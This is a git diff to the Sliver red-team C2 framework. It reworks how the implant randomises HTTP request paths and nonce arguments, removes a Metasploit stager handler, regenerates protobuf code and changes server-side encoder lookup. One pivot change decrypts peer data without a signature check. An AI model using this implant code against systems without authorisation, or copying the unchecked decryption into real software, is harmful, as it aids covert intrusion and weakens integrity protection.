length, _ := strconv.Atoi(NonceQueryLength)
for i := 0; i < length; i++ {
key += string(NonceQueryArgChars[insecureRand.Intn(len(NonceQueryArgChars))])
}
values.Add(string(key), argValue)
uri.RawQuery = values.Encode()
return uri
} else {
segments := strings.Split(uri.Path, "/")
extension := path.Ext(segments[len(segments)-1])
index := insecureRand.Intn(len(segments))
segments[index] = argValue
if index == len(segments)-1 {
segments[index] += extension
}
uri.Path = strings.Join(segments, "/")
return uri
}
}
// OTPQueryArgument - Adds an OTP query argument to the URL
@@ -283,7 +304,7 @@ func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.R
}
queryParams := req.URL.Query()
for _, param := range extraURLParams {
if len(param.Method)>0 && param.Method != method {
if len(param.Method) > 0 && param.Method != method {
continue
}
probability, _ := strconv.Atoi(param.Probability)
@@ -429,7 +450,7 @@ func (s *SliverHTTPClient) ReadEnvelope() (*pb.Envelope, error) {
if s.SessionID == "" {
return nil, errors.New("no session")
}
uri := s.parseSegments(0)
uri := s.parseSegments()
nonce, encoder := encoders.RandomEncoder(0)
s.NonceQueryArgument(uri, nonce)
req := s.newHTTPRequest(http.MethodGet, uri, nil)
@@ -504,7 +525,7 @@ func (s *SliverHTTPClient) WriteEnvelope(envelope *pb.Envelope) error {
return err
}
uri := s.parseSegments(1)
uri := s.parseSegments()
nonce, encoder := encoders.RandomEncoder(len(reqData))
s.NonceQueryArgument(uri, nonce)
encodedValue, _ := encoder.Encode(reqData)
@@ -552,7 +573,7 @@ func (s *SliverHTTPClient) CloseSession() error {
s.pollCancel = nil
// Tell server session is closed
uri := s.parseSegments(2)
uri := s.parseSegments()
nonce, _ := encoders.RandomEncoder(0)
s.NonceQueryArgument(uri, nonce)
req := s.newHTTPRequest(http.MethodGet, uri, nil)
@@ -588,74 +609,43 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
return strings.Join(segments, "/")
}
func (s *SliverHTTPClient) parseSegments(segmentType int) *url.URL {
func (s *SliverHTTPClient) parseSegments() *url.URL {
curl, _ := url.Parse(s.Origin)
var (
pollFiles []string
pollPaths []string
sessionFiles []string
sessionPaths []string
closePaths []string
closeFiles []string
files []string
paths []string
extensions []string
)
// {{range .HTTPC2ImplantConfig.PathSegments}}
// {{if eq .SegmentType 0 }}
// {{if .IsFile}}
pollFiles = append(pollFiles, "{{.Value}}")
files = append(files, "{{.Value}}")
// {{end}}
// {{if not .IsFile }}
pollPaths = append(pollPaths, "{{.Value}}")
paths = append(paths, "{{.Value}}")
// {{end}}
// {{end}}
// {{if eq .SegmentType 1}}
// {{if .IsFile}}
sessionFiles = append(sessionFiles, "{{.Value}}")
// {{end}}
// {{if not .IsFile }}
sessionPaths = append(sessionPaths, "{{.Value}}")
// {{range $extension := .HTTPC2ImplantConfig.Extensions}}
extensions = append(extensions, "{{$extension}}")
// {{end}}
// {{end}}
// {{if eq .SegmentType 2}}
// {{if .IsFile}}
closeFiles = append(closeFiles, "{{.Value}}")
// {{end}}
// {{if not .IsFile }}
closePaths = append(closePaths, "{{.Value}}")
// {{end}}
// {{end}}
// {{end}}
switch segmentType {
case 0:
curl.Path = s.pathJoinURL(s.randomPath(pollPaths, pollFiles, "{{ .HTTPC2ImplantConfig.PollFileExtension }}"))
case 1:
curl.Path = s.pathJoinURL(s.randomPath(sessionPaths, sessionFiles, "{{ .HTTPC2ImplantConfig.SessionFileExtension }}"))
case 2:
curl.Path = s.pathJoinURL(s.randomPath(closePaths, closeFiles, "{{.HTTPC2ImplantConfig.CloseFileExtension}}"))
default:
return nil
}
curl.Path = s.pathJoinURL(s.randomPath(paths, files, extensions))
return curl
}
func (s *SliverHTTPClient) startSessionURL() *url.URL {
sessionURI := s.parseSegments(1)
uri := strings.TrimSuffix(sessionURI.String(), "{{ .HTTPC2ImplantConfig.SessionFileExtension }}")
uri += "{{ .HTTPC2ImplantConfig.StartSessionFileExtension }}"
curl, _ := url.Parse(uri)
curl := s.parseSegments()
return curl
}
// Must return at least a file name, path segments are optional
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext string) []string {
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, exts []string) []string {
genSegments := []string{}
if 0 < len(segments) {
min, _ := strconv.Atoi("{{.HTTPC2ImplantConfig.MinPaths}}")
max, _ := strconv.Atoi("{{.HTTPC2ImplantConfig.MaxPaths}}")
min, _ := strconv.Atoi("{{.HTTPC2ImplantConfig.MinPathLength}}")
max, _ := strconv.Atoi("{{.HTTPC2ImplantConfig.MaxPathLength}}")
n := insecureRand.Intn(max-min+1) + min // How many segments?
for index := 0; index < n; index++ {
seg := segments[insecureRand.Intn(len(segments))]
@@ -663,11 +653,14 @@ func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext
}
}
filename := filenames[insecureRand.Intn(len(filenames))]
ext := exts[insecureRand.Intn(len(exts))]
// {{if .Config.Debug}}
log.Printf("[http] segments = %v, filename = %s, ext = %s", genSegments, filename, ext)
// {{end}}
genSegments = append(genSegments, fmt.Sprintf("%s.%s", filename, ext))
if ext != "" {
genSegments = append(genSegments, fmt.Sprintf("%s.%s", filename, ext))
}
return genSegments
}
@@ -329,7 +329,7 @@ func (p *NetConnPivotClient) ReadEnvelope() (*pb.Envelope, error) {
// {{end}}
return nil, err
}
data, err = p.peerCipherCtx.Decrypt(data)
data, err = p.peerCipherCtx.DecryptWithoutSignatureCheck(data)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Peer decryption error: %s", err)
+3 -3
View File
@@ -81,16 +81,16 @@ func getOSVersion() string {
arch = "x86_64"
} else {
var is64Bit bool
pHandle, _ := windows.GetCurrentProcess()
pHandle := windows.CurrentProcess()
if uint(pHandle) == 0 {
//{{if .Config.Debug}}
log.Printf("error getting OS version: error getting current process handle: %v")
log.Printf("error getting OS version: error getting current process handle")
//{{end}}
arch = "<error getting arch>"
}
if err := windows.IsWow64Process(pHandle, &is64Bit); err != nil {
//{{if .Config.Debug}}
log.Printf("error getting OS version: error checking if running in WOW: %v")
log.Printf("error getting OS version: error checking if running in WOW: %v", err)
//{{end}}
arch = "<error getting arch>"
} else {
File diff suppressed because it is too large. Load diff
+14 -28
View File
@@ -182,11 +182,13 @@ message ImplantConfig {
bool IsShellcode = 104;
bool RunAtLoad = 105;
string DebugFile = 106;
repeated string exports = 107;
string HTTPC2ConfigName = 150;
bool NetGoEnabled = 151;
bool TrafficEncodersEnabled = 152;
repeated string TrafficEncoders = 153;
string Extension = 154;
repeated commonpb.File Assets = 200;
}
@@ -357,6 +359,7 @@ message ListenerJob {
DNSListenerReq DNSConf = 6;
HTTPListenerReq HTTPConf = 7;
MultiplayerListenerReq MultiConf = 8;
StagerListenerReq TCPConf = 9;
}
message MultiplayerListenerReq {
@@ -489,10 +492,7 @@ message StagerListenerReq {
string Host = 2;
uint32 Port = 3;
bytes Data = 4;
bytes Cert = 5;
bytes Key = 6;
bool ACME = 7;
string ProfileName = 8;
string ProfileName = 5;
}
message StagerListener { uint32 JobID = 1; }
@@ -505,19 +505,6 @@ message ShellcodeRDIReq {
message ShellcodeRDI { bytes Data = 1; }
message MsfStagerReq {
string Arch = 1;
string Format = 2;
uint32 Port = 3;
string Host = 4;
string OS = 5; // reserved for future usage
StageProtocol Protocol = 6;
repeated string BadChars = 7;
string HTTPC2ConfigName = 9;
}
message MsfStager { commonpb.File File = 1; }
// GetSystemReq - Client request to the server which is translated into
// InvokeSystemReq when sending to the implant.
message GetSystemReq {
@@ -780,18 +767,18 @@ message HTTPC2ImplantConfig {
repeated HTTPC2URLParameter ExtraURLParameters = 6;
repeated HTTPC2Header Headers = 7;
int32 MaxFiles = 8;
int32 MinFiles = 9;
int32 MaxPaths = 10;
int32 MinPaths = 11;
int32 MaxFileGen = 8;
int32 MinFileGen = 9;
int32 MaxPathGen = 10;
int32 MinPathGen = 11;
int32 MaxPathLength = 12;
int32 MinPathLength = 13;
string StagerFileExtension = 12;
string PollFileExtension = 13;
string StartSessionFileExtension = 14;
string SessionFileExtension = 15;
string CloseFileExtension = 16;
repeated string extensions = 14;
repeated HTTPC2PathSegment PathSegments = 17;
int32 NonceQueryLength = 18;
string NonceMode =19;
}
message HTTPC2Cookie {
@@ -828,8 +815,7 @@ message HTTPC2PathSegment {
string ID = 1;
bool IsFile = 2;
HTTPC2SegmentType SegmentType = 3;
string Value = 4;
string Value = 3;
}
// [ Credentials ] ----------------------------------------
+58 -149
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.28.1
// protoc v4.25.3
// protoc-gen-go v1.36.3
// protoc v5.29.3
// source: commonpb/common.proto
package commonpb
@@ -21,18 +21,16 @@ const (
)
type Empty struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
state protoimpl.MessageState `protogen:"open.v1"`
unknownFields protoimpl.UnknownFields
sizeCache protoimpl.SizeCache
}
func (x *Empty) Reset() {
*x = Empty{}
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
mi := &file_commonpb_common_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
func (x *Empty) String() string {
@@ -43,7 +41,7 @@ func (*Empty) ProtoMessage() {}
func (x *Empty) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[0]
if protoimpl.UnsafeEnabled && x != nil {
if x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -60,23 +58,20 @@ func (*Empty) Descriptor() ([]byte, []int) {
// Request - Common fields used in all gRPC requests
type Request struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
state protoimpl.MessageState `protogen:"open.v1"`
Async bool `protobuf:"varint,1,opt,name=Async,proto3" json:"Async,omitempty"`
Timeout int64 `protobuf:"varint,2,opt,name=Timeout,proto3" json:"Timeout,omitempty"`
BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
SessionID string `protobuf:"bytes,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
unknownFields protoimpl.UnknownFields
Async bool `protobuf:"varint,1,opt,name=Async,proto3" json:"Async,omitempty"`
Timeout int64 `protobuf:"varint,2,opt,name=Timeout,proto3" json:"Timeout,omitempty"`
BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
SessionID string `protobuf:"bytes,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
sizeCache protoimpl.SizeCache
}
func (x *Request) Reset() {
*x = Request{}
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[1]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
mi := &file_commonpb_common_proto_msgTypes[1]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
func (x *Request) String() string {
@@ -87,7 +82,7 @@ func (*Request) ProtoMessage() {}
func (x *Request) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[1]
if protoimpl.UnsafeEnabled && x != nil {
if x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -135,23 +130,20 @@ func (x *Request) GetSessionID() string {
// only used when the implant needs to return an error to the server.
// Client<->Server comms should use normal gRPC error handling.
type Response struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
state protoimpl.MessageState `protogen:"open.v1"`
Err string `protobuf:"bytes,1,opt,name=Err,proto3" json:"Err,omitempty"`
Async bool `protobuf:"varint,2,opt,name=Async,proto3" json:"Async,omitempty"`
BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
TaskID string `protobuf:"bytes,9,opt,name=TaskID,proto3" json:"TaskID,omitempty"`
unknownFields protoimpl.UnknownFields
Err string `protobuf:"bytes,1,opt,name=Err,proto3" json:"Err,omitempty"`
Async bool `protobuf:"varint,2,opt,name=Async,proto3" json:"Async,omitempty"`
BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
TaskID string `protobuf:"bytes,9,opt,name=TaskID,proto3" json:"TaskID,omitempty"`
sizeCache protoimpl.SizeCache
}
func (x *Response) Reset() {
*x = Response{}
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[2]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
mi := &file_commonpb_common_proto_msgTypes[2]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
func (x *Response) String() string {
@@ -162,7 +154,7 @@ func (*Response) ProtoMessage() {}
func (x *Response) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[2]
if protoimpl.UnsafeEnabled && x != nil {
if x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -207,21 +199,18 @@ func (x *Response) GetTaskID() string {
// File - A basic file data type
type File struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
state protoimpl.MessageState `protogen:"open.v1"`
Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"`
Data []byte `protobuf:"bytes,2,opt,name=Data,proto3" json:"Data,omitempty"`
unknownFields protoimpl.UnknownFields
Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"`
Data []byte `protobuf:"bytes,2,opt,name=Data,proto3" json:"Data,omitempty"`
sizeCache protoimpl.SizeCache
}
func (x *File) Reset() {
*x = File{}
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[3]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
mi := &file_commonpb_common_proto_msgTypes[3]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
func (x *File) String() string {
@@ -232,7 +221,7 @@ func (*File) ProtoMessage() {}
func (x *File) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[3]
if protoimpl.UnsafeEnabled && x != nil {
if x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -263,26 +252,23 @@ func (x *File) GetData() []byte {
// Process - A basic process data type
type Process struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
state protoimpl.MessageState `protogen:"open.v1"`
Pid int32 `protobuf:"varint,1,opt,name=Pid,proto3" json:"Pid,omitempty"`
Ppid int32 `protobuf:"varint,2,opt,name=Ppid,proto3" json:"Ppid,omitempty"`
Executable string `protobuf:"bytes,3,opt,name=Executable,proto3" json:"Executable,omitempty"`
Owner string `protobuf:"bytes,4,opt,name=Owner,proto3" json:"Owner,omitempty"`
Architecture string `protobuf:"bytes,7,opt,name=Architecture,proto3" json:"Architecture,omitempty"`
SessionID int32 `protobuf:"varint,5,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
CmdLine []string `protobuf:"bytes,6,rep,name=CmdLine,proto3" json:"CmdLine,omitempty"`
unknownFields protoimpl.UnknownFields
Pid int32 `protobuf:"varint,1,opt,name=Pid,proto3" json:"Pid,omitempty"`
Ppid int32 `protobuf:"varint,2,opt,name=Ppid,proto3" json:"Ppid,omitempty"`
Executable string `protobuf:"bytes,3,opt,name=Executable,proto3" json:"Executable,omitempty"`
Owner string `protobuf:"bytes,4,opt,name=Owner,proto3" json:"Owner,omitempty"`
Architecture string `protobuf:"bytes,7,opt,name=Architecture,proto3" json:"Architecture,omitempty"`
SessionID int32 `protobuf:"varint,5,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
CmdLine []string `protobuf:"bytes,6,rep,name=CmdLine,proto3" json:"CmdLine,omitempty"`
sizeCache protoimpl.SizeCache
}
func (x *Process) Reset() {
*x = Process{}
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[4]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
mi := &file_commonpb_common_proto_msgTypes[4]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
func (x *Process) String() string {
@@ -293,7 +279,7 @@ func (*Process) ProtoMessage() {}
func (x *Process) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[4]
if protoimpl.UnsafeEnabled && x != nil {
if x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -359,21 +345,18 @@ func (x *Process) GetCmdLine() []string {
// EnvVar - Environment variable K/V
type EnvVar struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
state protoimpl.MessageState `protogen:"open.v1"`
Key string `protobuf:"bytes,1,opt,name=Key,proto3" json:"Key,omitempty"`
Value string `protobuf:"bytes,2,opt,name=Value,proto3" json:"Value,omitempty"`
unknownFields protoimpl.UnknownFields
Key string `protobuf:"bytes,1,opt,name=Key,proto3" json:"Key,omitempty"`
Value string `protobuf:"bytes,2,opt,name=Value,proto3" json:"Value,omitempty"`
sizeCache protoimpl.SizeCache
}
func (x *EnvVar) Reset() {
*x = EnvVar{}
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[5]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
mi := &file_commonpb_common_proto_msgTypes[5]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
func (x *EnvVar) String() string {
@@ -384,7 +367,7 @@ func (*EnvVar) ProtoMessage() {}
func (x *EnvVar) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[5]
if protoimpl.UnsafeEnabled && x != nil {
if x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -470,7 +453,7 @@ func file_commonpb_common_proto_rawDescGZIP() []byte {
}
var file_commonpb_common_proto_msgTypes = make([]protoimpl.MessageInfo, 6)
var file_commonpb_common_proto_goTypes = []interface{}{
var file_commonpb_common_proto_goTypes = []any{
(*Empty)(nil), // 0: commonpb.Empty
(*Request)(nil), // 1: commonpb.Request
(*Response)(nil), // 2: commonpb.Response
@@ -491,80 +474,6 @@ func file_commonpb_common_proto_init() {
if File_commonpb_common_proto != nil {
return
}
if !protoimpl.UnsafeEnabled {
file_commonpb_common_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Empty); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_commonpb_common_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Request); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_commonpb_common_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Response); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_commonpb_common_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*File); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_commonpb_common_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Process); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_commonpb_common_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*EnvVar); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
}
type x struct{}
out := protoimpl.TypeBuilder{
File: protoimpl.DescBuilder{
+15 -32
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.28.1
// protoc v4.25.3
// protoc-gen-go v1.36.3
// protoc v5.29.3
// source: dnspb/dns.proto
package dnspb
@@ -92,25 +92,22 @@ func (DNSMessageType) EnumDescriptor() ([]byte, []int) {
//
// [Type TOTP]: ID field is used for the TOTP code
type DNSMessage struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
state protoimpl.MessageState `protogen:"open.v1"`
Type DNSMessageType `protobuf:"varint,1,opt,name=Type,proto3,enum=dnspb.DNSMessageType" json:"Type,omitempty"`
ID uint32 `protobuf:"varint,2,opt,name=ID,proto3" json:"ID,omitempty"` // 8 bit message id + 24 bit dns session ID
Start uint32 `protobuf:"varint,3,opt,name=Start,proto3" json:"Start,omitempty"` // Bytes start at
Stop uint32 `protobuf:"varint,4,opt,name=Stop,proto3" json:"Stop,omitempty"` // Bytes stop at
Size uint32 `protobuf:"varint,5,opt,name=Size,proto3" json:"Size,omitempty"` // Total size
Data []byte `protobuf:"bytes,6,opt,name=Data,proto3" json:"Data,omitempty"` // Actual data
unknownFields protoimpl.UnknownFields
Type DNSMessageType `protobuf:"varint,1,opt,name=Type,proto3,enum=dnspb.DNSMessageType" json:"Type,omitempty"`
ID uint32 `protobuf:"varint,2,opt,name=ID,proto3" json:"ID,omitempty"` // 8 bit message id + 24 bit dns session ID
Start uint32 `protobuf:"varint,3,opt,name=Start,proto3" json:"Start,omitempty"` // Bytes start at
Stop uint32 `protobuf:"varint,4,opt,name=Stop,proto3" json:"Stop,omitempty"` // Bytes stop at
Size uint32 `protobuf:"varint,5,opt,name=Size,proto3" json:"Size,omitempty"` // Total size
Data []byte `protobuf:"bytes,6,opt,name=Data,proto3" json:"Data,omitempty"` // Actual data
sizeCache protoimpl.SizeCache
}
func (x *DNSMessage) Reset() {
*x = DNSMessage{}
if protoimpl.UnsafeEnabled {
mi := &file_dnspb_dns_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
mi := &file_dnspb_dns_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
func (x *DNSMessage) String() string {
@@ -121,7 +118,7 @@ func (*DNSMessage) ProtoMessage() {}
func (x *DNSMessage) ProtoReflect() protoreflect.Message {
mi := &file_dnspb_dns_proto_msgTypes[0]
if protoimpl.UnsafeEnabled && x != nil {
if x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
@@ -221,7 +218,7 @@ func file_dnspb_dns_proto_rawDescGZIP() []byte {
var file_dnspb_dns_proto_enumTypes = make([]protoimpl.EnumInfo, 1)
var file_dnspb_dns_proto_msgTypes = make([]protoimpl.MessageInfo, 1)
var file_dnspb_dns_proto_goTypes = []interface{}{
var file_dnspb_dns_proto_goTypes = []any{
(DNSMessageType)(0), // 0: dnspb.DNSMessageType
(*DNSMessage)(nil), // 1: dnspb.DNSMessage
}
@@ -239,20 +236,6 @@ func file_dnspb_dns_proto_init() {
if File_dnspb_dns_proto != nil {
return
}
if !protoimpl.UnsafeEnabled {
file_dnspb_dns_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*DNSMessage); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
}
type x struct{}
out := protoimpl.TypeBuilder{
File: protoimpl.DescBuilder{
+3 -3
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.28.1
// protoc v4.25.3
// protoc-gen-go v1.36.3
// protoc v5.29.3
// source: rpcpb/services.proto
package rpcpb
@@ -724,7 +724,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
}
var file_rpcpb_services_proto_goTypes = []interface{}{
var file_rpcpb_services_proto_goTypes = []any{
(*commonpb.Empty)(nil), // 0: commonpb.Empty
(*clientpb.ClientLogData)(nil), // 1: clientpb.ClientLogData
(*sliverpb.KillReq)(nil), // 2: sliverpb.KillReq
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+3 -1
View File
@@ -106,8 +106,10 @@ message KillReq {
}
// PsReq - Request the implant to list ses of a remote session.
// PsReq - Request the implant to list processes of a remote session.
message PsReq {
bool FullInfo = 1;
commonpb.Request Request = 9;
}
+1
View File
@@ -291,6 +291,7 @@ func SetupGoPath(goPathSrc string, includeDNS bool) error {
sliverpbGoSrc = xorPBRawBytes(sliverpbGoSrc)
sliverpbGoSrc = stripSliverpb(sliverpbGoSrc)
sliverpbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "sliverpb")
setupLog.Infof("Creating sliverpb directory: %s", sliverpbDir)
os.MkdirAll(sliverpbDir, 0700)
os.WriteFile(filepath.Join(sliverpbDir, "sliver.pb.go"), sliverpbGoSrc, 0600)
os.WriteFile(filepath.Join(sliverpbDir, "constants.go"), sliverpbConstSrc, 0600)
+1 -4
View File
@@ -241,10 +241,7 @@ func (b *Builder) handleBuildEvent(event *clientpb.Event) {
return
}
fileName := filepath.Base(extConfig.Build.Name)
if extConfig.Config.GOOS == "windows" {
fileName += ".exe"
}
fileName := filepath.Base(extConfig.Build.Name) + extConfig.Config.Extension
builderLog.Infof("Uploading '%s' to server ...", extConfig.Build.Name)
_, err = b.rpc.GenerateExternalSaveBuild(context.Background(), &clientpb.ExternalImplantBinary{
+139 -129
View File
@@ -31,7 +31,6 @@ import (
"net"
"net/http"
"net/url"
"path"
"path/filepath"
"strconv"
"strings"
@@ -42,6 +41,7 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/server/db"
@@ -51,6 +51,7 @@ import (
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/server/website"
"github.com/bishopfox/sliver/util"
sliverEncoders "github.com/bishopfox/sliver/util/encoders"
"github.com/gorilla/mux"
"google.golang.org/protobuf/proto"
@@ -64,6 +65,7 @@ var (
ErrInvalidEncoder = errors.New("invalid request encoder")
ErrDecodeFailed = errors.New("failed to decode request")
ErrDecryptFailed = errors.New("failed to decrypt request")
serverConfig = configs.GetServerConfig()
)
const (
@@ -346,17 +348,6 @@ func (s *SliverHTTPC2) router() *mux.Router {
s.ServerConf.LongPollJitter = int64(DefaultLongPollJitter)
}
// start stager handlers, extension are unique accross all profiles
for _, c2Config := range c2Configs.Configs {
// Can't force the user agent on the stager payload
// Request from msf stager payload will look like:
// GET /fonts/Inter-Medium.woff/B64_ENCODED_PAYLOAD_UUID
router.HandleFunc(
fmt.Sprintf("/{rpath:.*\\.%s[/]{0,1}.*$}", c2Config.ImplantConfig.StagerFileExtension),
s.stagerHandler,
).Methods(http.MethodGet)
}
router.HandleFunc("/{rpath:.*}", s.mainHandler).Methods(http.MethodGet, http.MethodPost)
router.Use(loggingMiddleware)
@@ -369,34 +360,61 @@ func (s *SliverHTTPC2) noCacheHeader(resp http.ResponseWriter) {
resp.Header().Add("Cache-Control", "no-store, no-cache, must-revalidate")
}
// This filters requests that do not have a valid nonce
func (s *SliverHTTPC2) filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
nonce, err := getNonceFromURL(req.URL)
if err != nil {
httpLog.Warnf("Invalid nonce '%d'", nonce)
return false // NaN
}
return true
}
func getNonceFromURL(reqURL *url.URL) (uint64, error) {
func getNoncesFromURL(reqURL *url.URL, length int32) ([]uint64, error) {
qNonce := ""
nonces := []uint64{}
for arg, values := range reqURL.Query() {
if len(arg) == 1 {
if len(arg) == int(length) || int(length) == 0 {
qNonce = digitsOnly(values[0])
break
nonce, err := strconv.ParseUint(qNonce, 10, 64)
if err != nil {
continue
}
nonces = append(nonces, nonce)
}
}
if qNonce == "" {
for _, segment := range strings.Split(reqURL.Path, "/") {
qNonce = digitsOnly(segment)
nonce, err := strconv.ParseUint(qNonce, 10, 64)
if err != nil {
continue
}
nonces = append(nonces, nonce)
}
if len(nonces) == 0 {
httpLog.Warn("Nonce not found in request")
return 0, ErrMissingNonce
return []uint64{}, ErrMissingNonce
}
nonce, err := strconv.ParseUint(qNonce, 10, 64)
return nonces, nil
}
func getEncoder(reqURL *url.URL, c2config *clientpb.HTTPC2Config) (sliverEncoders.Encoder, error) {
var (
err error
nonces []uint64
)
if c2config != nil {
nonces, err = getNoncesFromURL(reqURL, c2config.ImplantConfig.NonceQueryLength)
} else {
// anonymous handler calling, we don't know the expected nonce length
nonces, err = getNoncesFromURL(reqURL, 0)
}
if err != nil {
httpLog.Warnf("Invalid nonce, failed to parse '%s'", qNonce)
return 0, err
return nil, fmt.Errorf("no encoder found")
}
return nonce, nil
for _, nonce := range nonces {
_, encoder, err := encoders.EncoderFromNonce(nonce)
if err == nil {
return encoder, nil
}
}
return nil, fmt.Errorf("no encoder found")
}
func digitsOnly(value string) string {
